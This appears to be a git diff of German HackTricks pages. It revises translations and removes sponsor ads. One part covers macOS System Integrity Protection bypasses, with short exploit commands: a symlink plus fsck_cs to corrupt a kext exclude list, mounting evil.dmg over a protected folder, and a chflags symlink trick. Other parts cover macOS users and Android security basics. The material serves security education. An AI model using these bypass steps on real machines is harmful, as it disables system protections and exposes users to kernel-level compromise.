Eine Schwachstelle wurde identifiziert, bei der **`fsck_cs`** in die Irre geführt wurde, um eine entscheidende Datei zu beschädigen, aufgrund seiner Fähigkeit, **symbolische Links** zu folgen. Konkret erstellten Angreifer einen Link von _`/dev/diskX`_ zur Datei `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Das Ausführen von **`fsck_cs`** auf _`/dev/diskX`_ führte zur Beschädigung von `Info.plist`. Die Integrität dieser Datei ist entscheidend für den SIP (System Integrity Protection) des Betriebssystems, der das Laden von Kernel-Erweiterungen steuert. Sobald sie beschädigt ist, ist die Fähigkeit von SIP, Kernel-Ausschlüsse zu verwalten, beeinträchtigt.
|
||||
Eine Schwachstelle wurde identifiziert, bei der **`fsck_cs`** in die Irre geführt wurde, um eine entscheidende Datei zu beschädigen, aufgrund seiner Fähigkeit, **symbolische Links** zu folgen. Angreifer erstellten speziell einen Link von _`/dev/diskX`_ zur Datei `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Das Ausführen von **`fsck_cs`** auf _`/dev/diskX`_ führte zur Beschädigung von `Info.plist`. Die Integrität dieser Datei ist entscheidend für den SIP (System Integrity Protection) des Betriebssystems, der das Laden von Kernel-Erweiterungen steuert. Sobald sie beschädigt ist, ist die Fähigkeit von SIP, Kernel-Ausschlüsse zu verwalten, beeinträchtigt.
|
||||
|
||||
Die Befehle zur Ausnutzung dieser Schwachstelle sind:
|
||||
```bash
|
||||
|
@ -154,7 +141,7 @@ fsck_cs /dev/diskX 1>&-
|
|||
touch /Library/Extensions/
|
||||
reboot
|
||||
```
|
||||
Die Ausnutzung dieser Schwachstelle hat schwerwiegende Folgen. Die `Info.plist`-Datei, die normalerweise für die Verwaltung von Berechtigungen für Kernel-Erweiterungen verantwortlich ist, wird unwirksam. Dazu gehört die Unfähigkeit, bestimmte Erweiterungen wie `AppleHWAccess.kext` auf die schwarze Liste zu setzen. Folglich kann diese Erweiterung, da der Kontrollmechanismus von SIP außer Betrieb ist, geladen werden, was unbefugten Lese- und Schreibzugriff auf den RAM des Systems gewährt.
|
||||
Die Ausnutzung dieser Schwachstelle hat schwerwiegende Folgen. Die `Info.plist`-Datei, die normalerweise für die Verwaltung der Berechtigungen für Kernel-Erweiterungen verantwortlich ist, wird unwirksam. Dazu gehört die Unfähigkeit, bestimmte Erweiterungen wie `AppleHWAccess.kext` auf die schwarze Liste zu setzen. Folglich kann diese Erweiterung, da der Kontrollmechanismus von SIP außer Betrieb ist, geladen werden, was unbefugten Lese- und Schreibzugriff auf den RAM des Systems gewährt.
|
||||
|
||||
#### [Mount über SIP geschützte Ordner](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
|
||||
|
||||
|
@ -167,15 +154,15 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
```
|
||||
#### [Upgrader bypass (2016)](https://objective-see.org/blog/blog\_0x14.html)
|
||||
|
||||
Das System ist so eingestellt, dass es von einem eingebetteten Installations-Image innerhalb von `Install macOS Sierra.app` bootet, um das Betriebssystem zu aktualisieren, wobei das `bless`-Dienstprogramm verwendet wird. Der verwendete Befehl lautet wie folgt:
|
||||
Das System ist so eingestellt, dass es von einem eingebetteten Installationsdisk-Image innerhalb von `Install macOS Sierra.app` bootet, um das Betriebssystem zu aktualisieren, wobei das `bless`-Dienstprogramm verwendet wird. Der verwendete Befehl lautet wie folgt:
|
||||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
Die Sicherheit dieses Prozesses kann gefährdet werden, wenn ein Angreifer das Upgrade-Image (`InstallESD.dmg`) vor dem Booten verändert. Die Strategie besteht darin, einen dynamischen Loader (dyld) durch eine bösartige Version (`libBaseIA.dylib`) zu ersetzen. Dieser Austausch führt dazu, dass der Code des Angreifers ausgeführt wird, wenn der Installer gestartet wird.
|
||||
|
||||
Der Code des Angreifers erlangt während des Upgrade-Prozesses die Kontrolle und nutzt das Vertrauen des Systems in den Installer aus. Der Angriff erfolgt durch die Veränderung des `InstallESD.dmg`-Images mittels Methodenswizzling, wobei insbesondere die Methode `extractBootBits` ins Visier genommen wird. Dies ermöglicht die Einspeisung von bösartigem Code, bevor das Disk-Image verwendet wird.
|
||||
Der Code des Angreifers erlangt während des Upgrade-Prozesses die Kontrolle und nutzt das Vertrauen des Systems in den Installer aus. Der Angriff erfolgt durch die Veränderung des `InstallESD.dmg`-Images mittels Method Swizzling, wobei insbesondere die Methode `extractBootBits` ins Visier genommen wird. Dies ermöglicht die Einspeisung von bösartigem Code, bevor das Disk-Image verwendet wird.
|
||||
|
||||
Darüber hinaus gibt es im `InstallESD.dmg` ein `BaseSystem.dmg`, das als Wurzel-Dateisystem des Upgrade-Codes dient. Das Einspeisen einer dynamischen Bibliothek in dieses ermöglicht es dem bösartigen Code, innerhalb eines Prozesses zu arbeiten, der in der Lage ist, OS-Ebene-Dateien zu ändern, was das Potenzial für eine Kompromittierung des Systems erheblich erhöht.
|
||||
Darüber hinaus gibt es im `InstallESD.dmg` ein `BaseSystem.dmg`, das als Wurzel-Dateisystem des Upgrade-Codes dient. Das Einspeisen einer dynamischen Bibliothek in dieses ermöglicht es dem bösartigen Code, innerhalb eines Prozesses zu arbeiten, der in der Lage ist, OS-Level-Dateien zu ändern, was das Potenzial für eine Systemkompromittierung erheblich erhöht.
|
||||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
|
@ -183,21 +170,21 @@ In diesem Vortrag von [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-T
|
|||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
Wie [**in diesem Blogbeitrag detailliert beschrieben**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), erlaubte ein `postinstall`-Skript aus `InstallAssistant.pkg`, das ausgeführt wurde:
|
||||
Wie [**in diesem Blogbeitrag detailliert beschrieben**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), erlaubten `postinstall`-Skripte aus `InstallAssistant.pkg`-Paketen die Ausführung:
|
||||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
und es war möglich, einen Symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` zu erstellen, der es einem Benutzer ermöglichen würde, **jede Datei zu entsperren und die SIP-Schutzmaßnahmen zu umgehen**.
|
||||
und es war möglich, einen Symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` zu erstellen, der es einem Benutzer ermöglichen würde, **jede Datei zu entsperren und SIP-Schutz zu umgehen**.
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
{% hint style="danger" %}
|
||||
Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, SIP zu umgehen.
|
||||
Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, SIP zu umgehen
|
||||
{% endhint %}
|
||||
|
||||
Die Berechtigung `com.apple.rootless.install` ist bekannt dafür, die System Integrity Protection (SIP) auf macOS zu umgehen. Dies wurde insbesondere im Zusammenhang mit [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) erwähnt.
|
||||
Die Berechtigung `com.apple.rootless.install` ist bekannt dafür, den System Integrity Protection (SIP) auf macOS zu umgehen. Dies wurde insbesondere im Zusammenhang mit [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) erwähnt.
|
||||
|
||||
In diesem speziellen Fall besitzt der System-XPC-Dienst, der sich unter `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` befindet, diese Berechtigung. Dies ermöglicht dem zugehörigen Prozess, die SIP-Beschränkungen zu umgehen. Darüber hinaus bietet dieser Dienst bemerkenswerterweise eine Methode, die das Verschieben von Dateien ohne Durchsetzung von Sicherheitsmaßnahmen erlaubt.
|
||||
In diesem speziellen Fall besitzt der System-XPC-Dienst, der sich unter `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` befindet, diese Berechtigung. Dies ermöglicht dem zugehörigen Prozess, SIP-Beschränkungen zu umgehen. Darüber hinaus bietet dieser Dienst bemerkenswerterweise eine Methode, die das Verschieben von Dateien ohne Durchsetzung von Sicherheitsmaßnahmen erlaubt.
|
||||
|
||||
## Versiegelte System-Snapshots
|
||||
|
||||
|
@ -266,28 +253,17 @@ Darüber hinaus wird die Snapshot-Disk ebenfalls als **schreibgeschützt** gemou
|
|||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,29 @@
|
|||
# macOS Benutzer
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Gemeinsame Benutzer
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen.
|
||||
|
||||
Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### Standardbenutzer
|
||||
|
||||
* **Daemon**: Benutzer, der für Systemdaemons reserviert ist. Die Standard-Daemon-Kontonamen beginnen normalerweise mit einem "\_":
|
||||
* **Daemon**: Benutzer, der für System-Daemons reserviert ist. Die Standard-Daemon-Kontonamen beginnen normalerweise mit einem "\_":
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **Gast**: Konto für Gäste mit sehr strengen Berechtigungen
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
|
@ -48,24 +33,24 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
|||
* **Niemand**: Prozesse werden mit diesem Benutzer ausgeführt, wenn minimale Berechtigungen erforderlich sind
|
||||
* **Root**
|
||||
|
||||
### Benutzerrechte
|
||||
### Benutzerberechtigungen
|
||||
|
||||
* **Standardbenutzer:** Der einfachste Benutzer. Dieser Benutzer benötigt Berechtigungen, die von einem Administrator erteilt werden, wenn er versucht, Software zu installieren oder andere fortgeschrittene Aufgaben auszuführen. Sie können es nicht alleine tun.
|
||||
* **Admin-Benutzer**: Ein Benutzer, der die meiste Zeit als Standardbenutzer arbeitet, aber auch root-Aktionen wie die Installation von Software und andere administrative Aufgaben ausführen darf. Alle Benutzer, die zur Admin-Gruppe gehören, erhalten **Zugriff auf root über die sudoers-Datei**.
|
||||
* **Root**: Root ist ein Benutzer, der fast jede Aktion ausführen darf (es gibt Einschränkungen durch Schutzmaßnahmen wie die System Integrity Protection).
|
||||
* Zum Beispiel kann root keine Datei innerhalb von `/System` platzieren
|
||||
* **Standardbenutzer:** Der grundlegendste Benutzer. Dieser Benutzer benötigt Berechtigungen, die von einem Administrator gewährt werden, wenn er versucht, Software zu installieren oder andere fortgeschrittene Aufgaben auszuführen. Er kann dies nicht selbst tun.
|
||||
* **Administratorbenutzer**: Ein Benutzer, der die meiste Zeit als Standardbenutzer arbeitet, aber auch berechtigt ist, Root-Aktionen wie die Installation von Software und andere administrative Aufgaben auszuführen. Alle Benutzer, die zur Administratorgruppe gehören, haben **Zugriff auf Root über die sudoers-Datei**.
|
||||
* **Root**: Root ist ein Benutzer, der fast jede Aktion ausführen darf (es gibt Einschränkungen, die durch Schutzmaßnahmen wie den System Integrity Protection auferlegt werden).
|
||||
* Zum Beispiel kann Root keine Datei in `/System` ablegen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Android-Sicherheitsmodell
|
||||
|
||||
**Es gibt zwei Ebenen:**
|
||||
|
@ -32,27 +24,27 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
### UID-Trennung
|
||||
|
||||
**Jede Anwendung wird eine spezifische Benutzer-ID zugewiesen**. Dies geschieht während der Installation der App, sodass **die App nur mit Dateien interagieren kann, die ihrer Benutzer-ID gehören oder freigegebene** Dateien sind. Daher können nur die App selbst, bestimmte Komponenten des Betriebssystems und der Root-Benutzer auf die Anwendungsdaten zugreifen.
|
||||
**Jede Anwendung erhält eine spezifische Benutzer-ID**. Dies geschieht während der Installation der App, sodass **die App nur mit Dateien interagieren kann, die ihrer Benutzer-ID gehören oder freigegebene** Dateien sind. Daher können nur die App selbst, bestimmte Komponenten des Betriebssystems und der Root-Benutzer auf die Anwendungsdaten zugreifen.
|
||||
|
||||
### UID-Teilung
|
||||
### UID-Sharing
|
||||
|
||||
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen gefährdet. Aus diesem Grund wird dieses Verhalten **missbilligt**.\
|
||||
**Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden**. Dies kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen gefährdet. Aus diesem Grund wird dieses Verhalten **abgeraten**.\
|
||||
**Um dieselbe UID zu teilen, müssen Anwendungen denselben `android:sharedUserId`-Wert in ihren Manifests definieren.**
|
||||
|
||||
### Sandbox
|
||||
### Sandboxing
|
||||
|
||||
Die **Android-Anwendungs-Sandbox** ermöglicht es, **jede Anwendung** als **separaten Prozess unter einer separaten Benutzer-ID** auszuführen. Jeder Prozess hat seine eigene virtuelle Maschine, sodass der Code einer App isoliert von anderen Apps ausgeführt wird.\
|
||||
Seit Android 5.0(L) wird **SELinux** durchgesetzt. Grundsätzlich hat SELinux alle Prozessinteraktionen verweigert und dann Richtlinien erstellt, um **nur die erwarteten Interaktionen zwischen ihnen zuzulassen**.
|
||||
Der **Android-Anwendungssandbox** ermöglicht es, **jede Anwendung** als **separaten Prozess unter einer separaten Benutzer-ID** auszuführen. Jeder Prozess hat seine eigene virtuelle Maschine, sodass der Code einer App isoliert von anderen Apps ausgeführt wird.\
|
||||
Seit Android 5.0(L) wird **SELinux** durchgesetzt. Grundsätzlich verweigerte SELinux alle Prozessinteraktionen und erstellte dann Richtlinien, um **nur die erwarteten Interaktionen zwischen ihnen zuzulassen**.
|
||||
|
||||
### Berechtigungen
|
||||
|
||||
Wenn Sie eine **App installieren und sie nach Berechtigungen fragt**, fragt die App nach den Berechtigungen, die in den **`uses-permission`**-Elementen in der **AndroidManifest.xml**-Datei konfiguriert sind. Das **uses-permission**-Element gibt den Namen der angeforderten Berechtigung im **name**-Attribut an. Es hat auch das **maxSdkVersion**-Attribut, das das Anfordern von Berechtigungen in Versionen über der angegebenen stoppt.\
|
||||
Beachten Sie, dass Android-Anwendungen nicht alle Berechtigungen zu Beginn anfordern müssen; sie können auch **dynamisch nach Berechtigungen fragen**, aber alle Berechtigungen müssen im **Manifest** **deklarieren**.
|
||||
|
||||
Wenn eine App Funktionalität freigibt, kann sie den **Zugriff nur auf Apps beschränken, die über eine bestimmte Berechtigung verfügen**.\
|
||||
Wenn eine App Funktionen freigibt, kann sie den **Zugriff nur auf Apps beschränken, die über eine bestimmte Berechtigung verfügen**.\
|
||||
Ein Berechtigungselement hat drei Attribute:
|
||||
|
||||
* Den **Namen** der Berechtigung
|
||||
* Der **Name** der Berechtigung
|
||||
* Das **permission-group**-Attribut, das das Gruppieren verwandter Berechtigungen ermöglicht.
|
||||
* Das **protection-level**, das angibt, wie die Berechtigungen gewährt werden. Es gibt vier Typen:
|
||||
* **Normal**: Wird verwendet, wenn es **keine bekannten Bedrohungen** für die App gibt. Der Benutzer muss **es nicht genehmigen**.
|
||||
|
@ -62,7 +54,7 @@ Ein Berechtigungselement hat drei Attribute:
|
|||
|
||||
## Vorinstallierte Anwendungen
|
||||
|
||||
Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/priv-app`** Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) **ausgeführt werden**.
|
||||
Diese Apps befinden sich normalerweise in den **`/system/app`** oder **`/system/priv-app`** Verzeichnissen, und einige von ihnen sind **optimiert** (Sie finden möglicherweise nicht einmal die `classes.dex`-Datei). Diese Anwendungen sind es wert, überprüft zu werden, da sie manchmal **mit zu vielen Berechtigungen** (als Root) ausgeführt werden.
|
||||
|
||||
* Die mit dem **AOSP** (Android OpenSource Project) **ROM** gelieferten
|
||||
* Vom Gerätehersteller hinzugefügt
|
||||
|
@ -82,13 +74,13 @@ Beachten Sie, dass der Rooting-Prozess sehr gefährlich ist und das Gerät schwe
|
|||
### ROMs
|
||||
|
||||
Es ist möglich, das **Betriebssystem durch die Installation einer benutzerdefinierten Firmware zu ersetzen**. Dadurch ist es möglich, die Nützlichkeit eines alten Geräts zu erweitern, Softwarebeschränkungen zu umgehen oder Zugriff auf den neuesten Android-Code zu erhalten.\
|
||||
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmwares, die verwendet werden.
|
||||
**OmniROM** und **LineageOS** sind zwei der beliebtesten Firmwares.
|
||||
|
||||
Beachten Sie, dass **es nicht immer notwendig ist, das Gerät zu rooten**, um eine benutzerdefinierte Firmware zu installieren. **Einige Hersteller erlauben** das Entsperren ihrer Bootloader auf eine gut dokumentierte und sichere Weise.
|
||||
|
||||
### Auswirkungen
|
||||
|
||||
Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, hat sie Zugriff auf fast alles und kann das Telefon beschädigen.
|
||||
Sobald ein Gerät gerootet ist, kann jede App Zugriff als Root anfordern. Wenn eine bösartige Anwendung dies erhält, hat sie Zugriff auf fast alles und kann das Telefon beschädigen.
|
||||
|
||||
## Grundlagen der Android-Anwendung <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
|
@ -115,7 +107,7 @@ Sobald ein Gerät gerootet ist, könnte jede App Zugriff als Root anfordern. Wen
|
|||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie in Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
|
||||
In der Android-Entwicklung wird **Java oder Kotlin** zur Erstellung von Apps verwendet. Anstelle der Verwendung der JVM wie bei Desktop-Apps kompiliert Android diesen Code in **Dalvik Executable (DEX) Bytecode**. Früher verwaltete die Dalvik-VM diesen Bytecode, aber jetzt übernimmt die Android Runtime (ART) in neueren Android-Versionen.
|
||||
|
||||
Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbare Version von DEX-Bytecode und fungiert wie eine Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali beziehen sich in diesem Kontext auf die Assemblierungs- und Disassemblierungswerkzeuge.
|
||||
|
||||
|
@ -123,10 +115,10 @@ Für die Rückentwicklung wird **Smali** entscheidend. Es ist die menschenlesbar
